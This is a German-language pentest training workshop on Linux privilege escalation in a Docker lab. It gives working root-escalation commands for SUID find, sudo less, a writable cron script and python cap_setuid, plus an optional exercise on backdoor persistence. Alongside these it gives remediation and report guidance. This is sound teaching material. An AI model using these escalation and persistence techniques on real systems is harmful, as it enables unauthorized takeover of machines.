Zum Hauptinhalt springen

Rechteausweitung — Praktischer Workshop

Sie haben in der Demonstration gesehen, wie ein unprivilegiertes Konto durch Ausnutzung einer einzigen Fehlkonfiguration zu root wird. An Ihnen ist es, drei verschiedene im selben Ziel-Image zu finden und die Karteikarte zu schreiben, die Sie einem Kunden abgeben würden.

Dauer: 3 Std.

Ergebnis: ~/labs/rapport/elevations.md mit drei strukturierten Karteikarten + ~/labs/preuves/ mit den entsprechenden Ausführungsnachweisen.

Voraussetzungen​

Docker Desktop betriebsbereit. Das Image inskillsec/kali-lab muss gebaut sein (siehe Modul 01) — das Compose von M09 baut es beim ersten Start automatisch, falls Sie es noch nicht haben.

Keine VM. Keine Netzwerkkonfiguration nötig. Ziel und Angreifer sind zwei Container, die über ein privates Docker-Netzwerk, 10.20.30.0/24, miteinander sprechen.

Warum Docker statt einer VM für diesen Workshop

Dieser Workshop existierte früher auf Metasploitable 2 + Metasploitable 3 in VirtualBox. Der Wechsel zu Docker ist keine technische Präferenz: Es ist eine pädagogische Entscheidung.

Was verloren ging: Windows. Eine Windows-Server-VM inszeniert Eskalationswege (Unquoted Service Path, DLL-Hijacking, AlwaysInstallElevated), die kein Äquivalent unter Linux haben. Windows-Container existieren, aber sie wiegen 5 bis 6 GB, laufen nur auf einem Windows-Host und bilden eine physische Maschine nicht getreu ab — die echte Vorgehensweise erfordert Systemdienste, Registry, GUI. Diese Themen werden in den Grundlagen (Lektion 9.1) behandelt und verweisen auf HackTheBox für die Praxis.

Was gewonnen wurde: zehn Minuten Setup statt zwei Stunden, keine Probleme mit Bridge-Netzwerkadaptern, kein anzufertigender Snapshot, kein verlorenes root-Passwort. Ein bitgenau reproduzierbares Ziel, das garantiert, dass die vier pädagogischen Wege genau die beschriebenen sind — nicht acht Kernel-CVEs, die je nach Ubuntu-Version divergieren.

Was unverändert bleibt: die Denkweise des Pentesters. SUID, laxes sudo, beschreibbare Cron-Jobs, offensive Capabilities — das sind genau dieselben Vektoren wie auf einem echten Server. Das Docker-Ziel dieses Workshops ist in diesem Punkt realistischer als Metasploitable 2: Metasploitable 2 ist ein Museum von CVEs aus dem Jahr 2004, das Ziel von M09 reproduziert Fehler, die man 2026 noch auf aktuellen Servern sieht.

Schritt 1 — Das Lab starten (2 Min)​

cd labs/docker/module-09-elevation-privileges
docker compose up -d --build

Der erste --build dauert zwei bis drei Minuten (Ubuntu 22.04 + rund zwanzig Pakete). Die folgenden sind dank Cache sofort.

Prüfen:

docker compose ps
docker compose logs cible-linux

In den Logs sollten vier Zeilen [m09] Voie … : … erscheinen, die bestätigen, dass jeder Vektor korrekt eingerichtet ist. Fehlt eine, funktioniert der entsprechende Weg nicht — siehe Abschnitt Fehlerbehebung.

In den Angreifer-Container einsteigen:

docker compose exec attaquant bash

mkdir -p ~/labs/{preuves,rapport}
cd ~/labs

Schritt 2 — Der Foothold bob (5 Min)​

Der Ausgangspunkt ist ein Standardbenutzerkonto, das durch ein vorheriges Modul erlangt wurde (Phishing, schwaches Passwort, exponierter Dienst). Hier ist es bob:password per SSH.

Vom Angreifer aus:

ssh bob@10.20.30.20
# password : password

Sie befinden sich nun auf dem Ziel, als bob. Keinerlei Rechte. Von dort aus geht alles Weitere los.

Was ein Foothold in einem realen Auftrag konkret bedeutet

Bei einem echten Auftrag betritt man fast nie direkt als root. Man tritt als ein armes Konto ein: ein Webdienst läuft als www-data, ein vergessenes Entwicklerkonto hat ein schwaches Passwort, ein auf GitHub geleaktes Passwort funktioniert noch, ein Nicht-sudo-Benutzer hat auf einen Link geklickt.

Dieses Konto erlaubt drei Dinge: zugängliche Dateien lesen, Prozesse starten, in das eigene Verzeichnis schreiben. Es erlaubt nicht, /etc/shadow zu lesen, /etc/passwd zu ändern oder auf privilegierten Ports (< 1024) zu lauschen.

Die Rechteausweitung ist die Brücke zwischen diesen beiden Welten. Es ist fast immer der Schritt, der bei einem Auftrag am meisten Zeit kostet, und derjenige, der einen erfahrenen Pentester am deutlichsten von einem Anfänger unterscheidet. Ein Anfänger startet linpeas und klickt auf das, was glänzt. Ein Pentester liest die Ausgabe von linpeas und weiß schon an dieser Stelle, welche der dreißig verdächtigen Zeilen die echte ist.

Schritt 3 — Von Hand kartieren (20 Min)​

Widerstehen Sie der Versuchung, sofort linpeas zu starten. Machen Sie zuerst eine manuelle Kartierung: Das baut den Reflex auf. Linpeas kommt in Schritt 4 zum Vergleich.

Auf dem Ziel, als bob, genügen vier Befehle, um die vier Wege aufzudecken:

# Weg 1 — SUID-Binärdateien
find / -perm -u=s -type f 2>/dev/null

# Weg 2 — sudo-Rechte ohne Passwort
sudo -l

# Weg 3 — root-Cron und veränderbare Skripte
cat /etc/crontab /etc/cron.d/* 2>/dev/null
ls -l /opt/backup.sh

# Weg 4 — offensive Capabilities
getcap -r / 2>/dev/null

Jeder Befehl deckt eine Spur auf — nicht vier verkleidete Spuren, sondern vier echte, unterschiedliche Spuren. Nehmen Sie sich fünf Minuten Zeit, um zu verstehen, was Sie sehen, bevor Sie fortfahren.

Wie man die Ausgabe von find -perm -u=s liest

find / -perm -u=s -type f 2>/dev/null listet alle Dateien mit gesetztem SUID-Bit auf. Die Ausgabe enthält typischerweise 15 bis 25 Zeilen auf einem Standard-Ubuntu, und 90 % davon sind normal: su, sudo, mount, umount, passwd, chsh müssen SUID haben, um zu funktionieren — sie wechseln die Identität für die Dauer ihrer Ausführung.

Was Sie suchen, ist die Binärdatei, die nichts in dieser Liste zu suchen hat. Auf diesem Ziel ist /usr/bin/find SUID — ein normales find ist auf einem sauberen Linux niemals SUID. Das ist das Signal.

Die Whitelist dessen, was auf Ubuntu 22.04 eigentlich SUID sein sollte:

/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine

Alles, was aus dieser Liste herausfällt, ist ein Eskalationskandidat. find, less, awk, perl, python, vim, nmap, tar: Jedes hat eine GTFOBins-Methode, um eine root-Shell zu liefern.

sudo -l: die Frage, die man immer zuerst stellen sollte

sudo -l zeigt, wozu Ihr Konto mit sudo berechtigt ist. Die Ausgabe kennt drei Fälle:

  1. Sorry, user bob may not run sudo — überhaupt kein sudo-Recht. Das ist der Normalfall.
  2. bob may run the following commands: (ALL) ALL — volles sudo-Recht mit Passwort. Man braucht das Passwort von bob. Hat man es bereits (es war der Foothold), ist man sofort root: sudo su.
  3. bob may run the following commands: (ALL) NOPASSWD: /usr/bin/less /var/log/* — eingeschränktes sudo-Recht und ohne Passwort. Das ist Weg 2 dieses Workshops.

Fall 3 ist der häufigste Fehler in der Produktion. Der Admin wollte bob die Logs lesen lassen, ohne ihn mit Passwörtern zu belästigen, und schrieb eine restriktive Sudoers-Regel. Nur akzeptiert less den Befehl !command, der eine Shell startet — geerbt von den sudo-Rechten, also root. GTFOBins verzeichnet für jeden Befehl die entsprechende Technik.

Beschreibbares Cron: warum das ebenso schwerwiegend ist

Cron führt Befehle in regelmäßigen Abständen aus, mit den Rechten des Benutzers, für den es konfiguriert wurde. /etc/crontab und /etc/cron.d/* enthalten die System-Crons, die standardmäßig als root ausgeführt werden.

Das Format einer Cron-Zeile ist minute stunde tag monat wochentag benutzer befehl. Auf diesem Ziel enthält /etc/cron.d/backup:

* * * * * root /opt/backup.sh

Übersetzt: Jede Minute führt root /opt/backup.sh aus. An sich nichts Böses — das ist ein normaler geschäftlicher Bedarf (Sicherung von Logs).

Der Fehler liegt woanders. /opt/backup.sh hat die Rechte 777: lesbar, ausführbar und veränderbar von jedem, auch von bob. Der Angreifer ersetzt den Inhalt des Skripts durch das, was er will. Eine Minute später läuft sein Befehl als root.

Das ist der einzige Weg dieses Workshops, der Geduld erfordert — die drei anderen liefern sofort root. Hier misst man den Unterschied zwischen einem sofortigen Angriff (SUID, sudo, Capability) und einem zeitversetzten Angriff (Cron, Dienst, Watchdog). Bei einem Auftrag mit kurzem Zeitfenster gewinnt der sofortige Angreifer.

getcap: der Weg, den die Hälfte der Pentester vergisst

Die Linux-Capabilities sind ein Zwischenmechanismus zwischen „normaler Benutzer" und „vollständiger root". Sie erlauben es, einer Binärdatei eine bestimmte Fähigkeit zu geben — auf privilegierten Ports lauschen, beliebige Dateien lesen, die Identität wechseln — ohne ihr alle root-Rechte zu geben.

Gut eingesetzt, ersetzen sie SUID auf sicherere Weise: Statt eine Binärdatei auf einen Schlag zu root zu machen, gibt man ihr genau die Fähigkeit, die sie braucht. Ein ping mit cap_net_raw kann Raw-Sockets öffnen, kann aber sonst nichts — das ist strenger als ein SUID-ping.

Schlecht eingesetzt, sind sie einer der unauffälligsten Wege zu root. cap_setuid+ep auf python erlaubt den Aufruf setuid(0), was bedeutet, root zu werden. Diese Capability erscheint nicht in find / -perm -u=s, findet sich nicht in sudo -l, ist nicht Teil von /etc/crontab. Ein Angreifer, der getcap -r / nicht ausführt, übersieht sie.

Der Befehl getcap -r / 2>/dev/null listet alle Capabilities des Systems auf. Suchen Sie nach den offensiven Begriffen: cap_setuid, cap_setgid, cap_sys_admin, cap_dac_read_search, cap_dac_override. Jede ist ein direkter Weg zu root, vorausgesetzt man kann die betroffene Binärdatei aufrufen (wie python, perl, gdb, oder eine selbst geschriebene Binärdatei).

Notieren Sie, was Sie in ~/labs/rapport/elevations.md gefunden haben. Eine Zeile pro Weg, in drei Worten: SUID find, sudo NOPASSWD less, cron beschreibbar backup.sh, cap_setuid python3.

Schritt 4 — Mit linpeas bestätigen (10 Min)​

Von Kali aus, laden Sie linpeas per einfachem HTTP-Download auf das Ziel (Kali hostet, bob lädt herunter):

# --- Auf Kali (anderes Terminal) ---
cd /tmp
cp /usr/share/peass/linpeas/linpeas.sh . 2>/dev/null \
  || wget -q https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8000

# --- Auf dem Ziel (Sitzung bob) ---
cd /tmp
wget http://10.20.30.5:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee ~/linpeas-output.txt

Linpeas braucht fünf Minuten, um alles zu scannen. Achten Sie auf die rot/gelb hervorgehobenen Abschnitte:

  • [+] SUID - Check easy privesc, exploits and write perms → muss /usr/bin/find auflisten.
  • [+] Checking sudo tokens → muss die NOPASSWD-Regel für less auflisten.
  • [+] Cron jobs → muss /opt/backup.sh mit seinen 777-Rechten melden.
  • [+] Capabilities → muss cap_setuid+ep auf python3.10 auflisten.

Holen Sie die Ausgabe auf Kali zurück, um sie zu archivieren:

# Immer noch auf dem Ziel
exit    # verlässt SSH

# Auf Kali
scp bob@10.20.30.20:~/linpeas-output.txt ~/labs/preuves/00-linpeas.txt

Dieser Schritt dient nicht dazu, „zu finden" — Sie haben in Schritt 3 bereits alles gefunden. Er dient dazu, Ihr Auge zu kalibrieren: Wie sieht die Ausgabe von linpeas aus, wenn die Fehlkonfigurationen echt sind? Bei den nächsten Aufträgen werden Sie sofort ein echtes linpeas-Signal von einem falschen Positiv unterscheiden können.

Schritt 5 — Ihre drei Wege wählen (5 Min)​

Sie haben vier Spuren, der Workshop verlangt drei unterschiedliche (nicht drei SUID auf drei verschiedenen Binärdateien — drei echte, verschiedene Familien).

Vorschlag: Weg 1 + Weg 2 + einer der beiden letzten. Die Wege 1 und 2 sind klassisch, die Wege 3 und 4 sind subtiler.

Notieren Sie Ihre drei Entscheidungen am Anfang von rapport/elevations.md, mit je einem Begründungssatz. Das ist keine Formalität — es ist der erste Absatz, den der CISO im Bericht lesen wird.

Schritt 6 — Weg 1: SUID auf find (30 Min)​

Entdeckung:

ls -l /usr/bin/find
# -rwsr-xr-x 1 root root ... /usr/bin/find

Das s anstelle des x beim Eigentümer ist das SUID-Bit. find wird also mit den Rechten von root ausgeführt, unabhängig davon, wer es startet.

Ausnutzung:

find . -exec /bin/sh -p \; -quit
# id
# uid=1000(bob) euid=0(root) groups=1000(bob)

-exec startet einen Befehl. \; -quit beschränkt auf eine Ausführung. -p bittet sh, die effektive UID (0) zu behalten, statt sie auf 1000 zurückfallen zu lassen — ohne -p schränken sich bash und sh selbst ein, wenn sie erkennen, dass sie SUID laufen.

Bestätigung:

whoami                    # zeigt root
id                        # uid=1000(bob) euid=0(root)
cat /etc/shadow | head -3

Speichern Sie die Spur:

script -q -c 'find . -exec /bin/sh -p \; -quit' ~/preuves/01-suid-find.log

Schreiben Sie die Karteikarte in rapport/elevations.md mit der Vorlage unten.

Auszufüllende Karteikartenvorlage
## Eskalation 1 — SUID auf /usr/bin/find

### Kontext
- Ziel: 10.20.30.20 (staging-01.acme.local)
- Ausgangskonto: bob (uid 1000)
- Ziel: root

### Entdeckung
- Befehl: `find / -perm -u=s -type f 2>/dev/null`
- Verräterische Ausgabe: `/usr/bin/find` erscheint in der Liste, obwohl diese
  Binärdatei auf einem sauberen Linux keinerlei Grund hat, SUID zu sein.

### Ausnutzung
- Payload: `find . -exec /bin/sh -p \; -quit`
- Bestätigung: `id` → `euid=0(root)`

### Auswirkung
Ein Standardbenutzerkonto wird mit einem einzigen Befehl root. Lesen von /etc/shadow,
Ändern von /etc/passwd, Installation von Backdoors, Zugriff auf die Daten aller
anderen Benutzer. In der Praxis: vollständige Kompromittierung der Maschine.

### Empfehlung
- Sofort: `chmod u-s /usr/bin/find` — SUID-Bit entfernen.
- Grundsätzlich: wöchentliches Audit der SUID-Binärdateien (`find / -perm -u=s -type f`),
  Alarm bei jedem neuen SUID außerhalb der Whitelist.

### Nachweise
- preuves/01-suid-find.log

Schritt 7 — Weg 2: sudo NOPASSWD auf less (30 Min)​

Entdeckung:

sudo -l
# User bob may run the following commands on cible:
#     (ALL) NOPASSWD: /usr/bin/less /var/log/*

bob kann alle Dateien in /var/log/* als root lesen, ohne Passwort. Die menschliche Abkürzung lautet „er kann die Logs einsehen". Das tatsächliche Verhalten ist umfassender.

Ausnutzung:

sudo less /var/log/backup.log
# Sobald less läuft, eingeben:
!/bin/bash
# Dann Enter. Eine Shell öffnet sich. id:
# uid=0(root) gid=0(root) groups=0(root)

!command ist eine dokumentierte Funktion von less: Sie übergibt den Befehl an die Shell mit den Rechten des less-Prozesses. Da less unter sudo läuft (also root), erbt die Shell root.

Bestätigung:

whoami                    # root
id                        # uid=0
exit                      # verlässt bash
q                         # verlässt less

Speichern Sie die Spur:

script -q -c 'sudo less /var/log/backup.log' ~/preuves/02-sudo-less.log
# In less: !id ; dann q zum Beenden
Warum less !command akzeptiert — Geschichte

Less ist ein Nachfahre von more, das ein Nachfahre des Berkeley-Pagers aus den 1980er-Jahren ist. Damals war ein Pager kein passiver Betrachter: Es war ein Werkzeug, mit dem der Systemadministrator arbeitete. Naheliegend, dass man von less aus einen Befehl starten konnte, ohne die aktuelle Seite zu verlassen.

Die Funktion !command hat überlebt. Sie ist in der Manpage dokumentiert — weder versteckt noch entfernt. Das Problem ist nicht less, sondern sudo less. Einen interaktiven Befehl wie less unter sudo zuzulassen, ist fast immer ein Fehler: less, vi, awk, find, tar — alle erlauben ein Entkommen aus der Shell. Die GTFOBins-Liste verzeichnet über 200 Binärdateien mit mindestens einer Escape-Methode.

Strenge Regel für einen Admin, der eine sudoers-Datei schreibt: nur nicht-interaktive Befehle mit NOPASSWD erlauben. Ideal: ein eigenes Skript ohne Argumente, noch besser, wenn es auf einem Pfad liegt, dessen Inhalt bob nicht überschreiben kann. Eine gut geschriebene Regel NOPASSWD: /usr/local/bin/lire-log.sh ist sicher. Eine Regel NOPASSWD: /usr/bin/less /var/log/* ist es nicht.

Schreiben Sie die Karteikarte in den Bericht.

Schritt 8 — Weg 3 oder 4, nach Wahl (30 Min)​

Option A — beschreibbares Cron:

# Als bob
ls -l /opt/backup.sh
# -rwxrwxrwx 1 root root ... /opt/backup.sh

# Einen Befehl einschleusen
cat > /opt/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
EOF

# Eine Minute warten (Cron läuft * * * * *)
sleep 65

# Das von root abgelegte SUID-bash verwenden
/tmp/rootbash -p
# id → euid=0

Speicherung:

script -q -c '/tmp/rootbash -p' ~/preuves/03-cron.log

Option B — Capability cap_setuid auf python3:

getcap /usr/bin/python3.10
# /usr/bin/python3.10 cap_setuid=ep

python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
# id → uid=0

Speicherung:

script -q -c "python3.10 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'" \
  ~/preuves/03-capability.log

Schreiben Sie die entsprechende Karteikarte.

Warum Weg 3 Warten erfordert und die anderen nicht

Cron weckt seinen Dämon jede Minute. Wenn Sie /opt/backup.sh umschreiben, passiert nichts sofort — Sie müssen auf den nächsten Takt der Uhr warten.

Bei einem echten Auftrag kann diese Latenz eine gute Nachricht sein: Sie macht den Angriff nur in den Logs zum Zeitpunkt der Cron-Ausführung erkennbar, nicht zum Zeitpunkt der Skriptänderung. Viele SIEM überwachen execve(/opt/backup.sh), nicht write(/opt/backup.sh) — der Angreifer hat Zeit, seine Spuren zu beseitigen.

Sie kann auch eine schlechte Nachricht sein, wenn Sie zeitlich begrenzt sind. Ein Testfenster von zwei Stunden verträgt sich nicht mit einem @daily-Cron. Immer die Häufigkeit prüfen: */1 *, */5 *, @hourly, @daily. Ein @daily-Cron in einem Zwei-Stunden-Lab ist in der Praxis nicht ausnutzbar — das ist Theorie.

Der Workshop verwendet * * * * * (jede Minute), um praktikabel zu bleiben. Bei einem echten Auftrag, wenn Sie auf @daily stoßen, schreiben Sie den Vektor im Bericht als hypothetisch ausnutzbar und machen mit etwas anderem weiter.

Schritt 9 — Der Gesamtbericht (20 Min)​

Fügen Sie vor den drei Karteikarten eine fünf- bis zehnzeilige Zusammenfassung, eine zusammenfassende Tabelle und einen Abschnitt mit allgemeinen Empfehlungen hinzu.

# Bericht zur Rechteausweitung — staging-01.acme.local

## Zusammenfassung

Drei Wege zur Rechteausweitung wurden auf dem Server
staging-01.acme.local ausgehend von einem Standardbenutzerkonto
(bob) identifiziert und ausgenutzt. Jeder führt in weniger als einer
Minute zu vollständigem root-Zugriff. Keiner beruht auf einem
Kernel-Exploit — alle beruhen auf Konfigurationsfehlern des Systems
oder von sudo. Die Korrektur erfordert keinen Neustart und kann in
weniger als dreißig kumulierten Minuten erfolgen.

## Übersicht

| # | Vektor | Entdeckung | Ausnutzung | Korrektur |
| - | ------- | ---------- | ------------ | ---------- |
| 1 | SUID `/usr/bin/find` | `find / -perm -u=s` | `find . -exec /bin/sh -p \; -quit` | `chmod u-s /usr/bin/find` |
| 2 | sudo NOPASSWD `less /var/log/*` | `sudo -l` | in less: `!/bin/bash` | `/etc/sudoers.d/bob-less` umschreiben |
| 3 | Beschreibbares Cron `/opt/backup.sh` | `cat /etc/cron.d/*` | `backup.sh` umschreiben, 1 Min warten | `chmod 755 /opt/backup.sh`, Eigentümer root |

## Detaillierte Karteikarten
(die 3 obigen Karteikarten)

## Allgemeine Empfehlungen

1. **Alle** SUID-/SGID-Binärdateien einmal wöchentlich **prüfen** und bei jedem
   Auftreten außerhalb der Whitelist alarmieren.
2. **Alle** sudoers-NOPASSWD **umschreiben**: nur eigene, nicht-interaktive
   Skripte erlauben, niemals eine Systembinärdatei direkt.
3. Die Berechtigungen aller in /etc/crontab und /etc/cron.d/ referenzierten
   Skripte **prüfen** — kein von root ausgeführtes Skript darf von einem
   nicht-root-Benutzer veränderbar sein.
4. Die Capabilities des Systems einmal im Monat **erfassen**: `getcap -r /`.
   Jede Capability auf einem Interpreter-Binary (python, perl, ruby)
   oder einer bekannten GTFOBins-Binärdatei entfernen.
5. Zur Laufzeit **erkennen**: jede `setuid()`-Ausführung durch ein
   nicht-privilegiertes Konto, jede von einem beschreibbaren Cron ausgelöste
   `execve()`, jeden `!command`-Aufruf in less (über auditd).

Selbstbewertungsraster​

  • Drei Eskalationen tatsächlich ausgenutzt, nicht nur identifiziert.
  • Drei unterschiedliche Wege: nicht dreimal SUID, nicht dreimal sudo, nicht dreimal Cron.
  • Jede Karteikarte enthält: Kontext + Entdeckung + Ausnutzung + Auswirkung + Empfehlung + Nachweise.
  • Vollständige Nachweise in preuves/ (mindestens eine Datei pro Eskalation, plus die linpeas-Ausgabe).
  • Keine Karteikarte beschränkt sich auf einen Screenshot eines whoami.
  • Konkrete Empfehlungen, kein „Sicherheit stärken" oder „aktualisieren".
  • Zusammenfassung mit weniger als zehn Zeilen am Anfang des Berichts.
  • Übersichtstabelle auf einer Seite, lesbar ohne die Karteikarten.
  • Kein Kernel-Exploit — dieser Workshop verlangt niemals einen Kernel-Exploit.

Optionale Erweiterung — Ein bash-persist.sh schreiben​

Sobald man root ist, wie bleibt ein Angreifer bestehen? Schreiben Sie preuves/persist.sh, das drei Persistenzmechanismen installiert:

  1. Einen SSH-Schlüssel, hinzugefügt in /root/.ssh/authorized_keys.
  2. Einen @reboot-Cron, der zum Angreifer zurückruft.
  3. Eine SUID-Binärdatei, versteckt in /tmp/.X11-lock (absichtlich unauffälliger Name).

Dokumentieren Sie jeden Mechanismus und den Befehl, um ihn am Ende des Auftrags sauber zu entfernen. Ein Pentester, der eine Backdoor vergisst, ist kein Pentester mehr — der Bericht muss auflisten, was er hinterlassen hat, und das Entfernungsverfahren.

Auf diesem Docker-Ziel verschwindet die Persistenz beim ersten docker compose down -v. Das ist eine gute pädagogische Nachricht: Sie können experimentieren, ohne zu befürchten, ein Artefakt zu vergessen. Bei einem echten Auftrag gehört der Entfernungsbefehl zum Liefergegenstand.

Was normalerweise blockiert​

SymptomUrsacheKorrektur
find . -exec /bin/sh \; liefert eine Shell, aber id sagt uid=1000Bash hat SUID fallen gelassen-p verwenden: /bin/sh -p oder bash -p.
sudo less verlangt ein Passwortsudoers-Datei nicht angewendetdocker compose exec cible-linux cat /etc/sudoers.d/bob-less.
!command in less öffnet keine ShellLess-Version zu aktuell mit verstärkter SicherheitExplizit !/bin/bash -p verwenden.
Der Cron läuft nieCron-Dienst nicht gestartetdocker compose logs cible-linux — muss [m09] Voie 3 anzeigen. Sonst docker compose restart cible-linux.
python3 -c 'os.setuid(0)' liefert EPERMCapability beim Build verloren oder cap_add: SETUID aus dem Compose entferntNeu bauen: docker compose build --no-cache cible-linux.
linpeas meldet "no writable cron", obwohl /opt/backup.sh es istlinpeas-Version älter als 2023Die latest-Release von GitHub herunterladen.
root-Shell verliert ihre Farbe / ihren PromptMinimales Bash mit SUIDexport PS1='# ', dann source /root/.bashrc, falls zugänglich.

Was der Workshop nicht abdeckt — und wo man weitermacht​

Windows-Privesc — Unquoted Service Path, DLL-Hijacking, AlwaysInstallElevated

Windows-Server-Images in Docker existieren (mcr.microsoft.com/windows/server), wiegen aber 5 bis 6 GB, laufen nur auf einem Windows-Host und simulieren eine physische Station nicht getreu — viele Systemdienste fehlen.

Für echtes Üben:

  • HackTheBox Optimum, Legacy, Blue, Devel — zurückgezogene Windows-Maschinen, kostenlos im Starter-Tier verfügbar.
  • VulnHub — herunterladbare Windows-VMs, ausführbar in VirtualBox.
  • Windows Server 2019 Evaluation — kostenlose ISO bei Microsoft, 180 Tage gültig. Installieren Sie sie in VirtualBox und fahren Sie mit WinPEAS + PowerUp fort.

Von Lektion 9.1 abgedeckte Konzepte:

  • Unquoted Service Path: ein Dienst, dessen Pfad Leerzeichen ohne Anführungszeichen enthält — Windows löst ihn auf, indem es jedes Segment versucht. Eine vom Angreifer abgelegte C:\Program.exe wird vor C:\Program Files\App\bin.exe ausgeführt.
  • DLL-Hijacking: ein Dienst lädt eine DLL nach Namen (shell32.dll), Windows sucht sie in mehreren Verzeichnissen. Ist eines davon beschreibbar, legt der Angreifer dort seine DLL ab.
  • AlwaysInstallElevated: zwei Registrierungsschlüssel HKCU\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated=1 und HKLM\... erlauben jedem Benutzer, ein MSI als SYSTEM zu installieren.
Kerberoasting und Active Directory

Eine Active-Directory-Domäne in Docker nachzubilden erfordert zwei bis drei Container (samba-ad-dc, LDAP, Kerberos), eine gemeinsame DNS-Konfiguration und persistenten Speicher. Das Ergebnis ist einem Microsoft-AD nicht getreu — Samba AD ist ein guter Ersatz für Kerberos, aber nicht für die Feinheiten von LSASS oder ADCS.

Zum Üben:

  • GOAD (Game of Active Directory): github.com/Orange-Cyberdefense/GOAD. Vagrant + VirtualBox, baut eine Domäne sevenkingdoms.local mit mehreren verwundbaren Maschinen auf. Das französischsprachige Referenzlab.
  • HackTheBox Prolabs Dante, Offshore, Zephyr: geführte Active-Directory-Parcours, ein paar Dutzend Dollar, aber sehr lehrreich.
  • TryHackMe — kostenlose AD-Module, um sich mit dem Werkzeug (impacket, bloodhound, mimikatz) vertraut zu machen.

Der nächste Workshop (Modul 10 — Laterale Bewegungen) behandelt das Pivoting in Docker, das die technische Voraussetzung der lateralen Bewegung in AD ist.

Was Sie aus diesem Workshop mitnehmen​

  • Drei tatsächlich ausgenutzte Eskalationswege, nicht vier fotografierte linpeas-Zeilen.
  • Ein präzises Vokabular: SUID, cap_setuid, sudo -l, GTFOBins, beschreibbares Cron, offensive Capability.
  • Einen drei- bis fünfseitigen Bericht, präsentabel für einen Kunden, mit Zusammenfassung, Tabelle, Karteikarten und allgemeinen Empfehlungen.
  • Die Fähigkeit, diese Arbeit allein zu wiederholen, in drei Stunden, bei jedem zukünftigen Auftrag — unabhängig von den vorhandenen Vektoren.

Nächster Schritt: das Quiz. Dann Modul 10 — Laterale Bewegung. Sobald man root auf einer Maschine ist, wie kompromittiert man die zwanzig anderen im internen Netzwerk.